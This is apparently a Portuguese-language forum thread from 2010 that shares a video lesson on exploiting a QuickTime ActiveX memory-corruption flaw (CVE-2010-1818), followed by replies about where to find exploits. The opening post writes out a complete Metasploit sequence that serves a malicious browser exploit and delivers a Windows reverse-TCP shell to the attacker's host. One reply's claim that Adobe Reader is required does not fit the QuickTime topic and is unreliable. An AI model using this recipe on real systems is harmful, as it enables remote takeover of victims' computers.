[Video aula] Vulnerabilidade no QuickTime 7.6.7 (0day)
Nessa aula mostro como explorar a vulnerabilidade no QuickTime, essa vulnerabilidade e classificada de 0day e afeta todas as versões do QuickTime e do Windows. Ela foi descoberta pelo Investigador de segurança Ruben Santamarta.
Comandos:
Sobre o Vídeo:use exploit/windows/browser/apple_quicktime_marshaled_punk
set SRVHOST SeuIP
set SRVPORT 80
set URIPATH /
set payload windows/shell/reverse_tcp
set LHOST SeuIP
set LPORT 5050
exploit
Formato: AVI
Tamanho: 8.2 MB
Duração: 3:57 min
Musica: Mantenha o Respeito - Marcelo D2
Baixar:
On-line:
Ref:
CVE - CVE-2010-1818 (under review)
67705: Apple Quicktime QTPlugin.ocx ActiveX IPersistPropertyBag2::Read Function _Marshaled_pUnk Memory Corruption
Reverse Mode - [0day] Apple QuickTime "_Marshaled_pUnk" backdoor param client-side arbitrary code execution
Fonte: Blog do Bhior: Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)
Last edited by Bhior; 09-17-2010 at 04:05 PM. Reason: Prefixo
Re: Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)
Wow, não estava a par dessa... Vou já actualizar a minha cópia! Obrigado por partilhar, Bhior.
Já agora, onde posso ficar a par dos mais recentes exploits? Tem algum site específico?
EDIT: Após ver o vídeo fiquei com uma dúvida. Para este exploit funcionar, temos que ter o quicktime aberto, certo?
Abr
Last edited by Snayler; 09-17-2010 at 03:17 AM.
Re: Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)
Sério Snayler? Dúvido que você não saiba! Hehehe! Alias, meus parabéns por ser um dos membros mais ativos do fórum!Já agora, onde posso ficar a par dos mais recentes exploits? Tem algum site específico?
Mais vou responder alguns pra quem realmente não saiba!
OSVDB: The Open Source Vulnerability Database
SecurityFocus
.:[ packet storm ]:. - http://packetstormsecurity.org/
Exploits Database by Offensive Security
Dentre outros!!
Att,
(gdb) disass m(y_br)ain
®
Re: Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)
Lol! Por acaso não sabia, porque ainda não estou muito dentro do assunto no que toca a exploits. Mas uma simples procura no google dava-me uma resposta, é verdade. Apenas perguntei porque queria saber qual seria a melhor fonteOriginally Posted by espreto
Sério Snayler? Dúvido que você não saiba! Hehehe! Alias, meus parabéns por ser um dos membros mais ativos do fórum!
Re: Metasploit - Vulnerabilidade no QuickTime 7.6.7 (0day)
Ola meu caro,Lol! Por acaso não sabia, porque ainda não estou muito dentro do assunto no que toca a exploits. Mas uma simples procura no google dava-me uma resposta, é verdade. Apenas perguntei porque queria saber qual seria a melhor fonte
Você pode usar esse aqui também, ele reunir a maioria dos sites relacionados ao assunto.
Sim, precisa ter o Adobe reader instalado.
Abraços
Posting Permissions
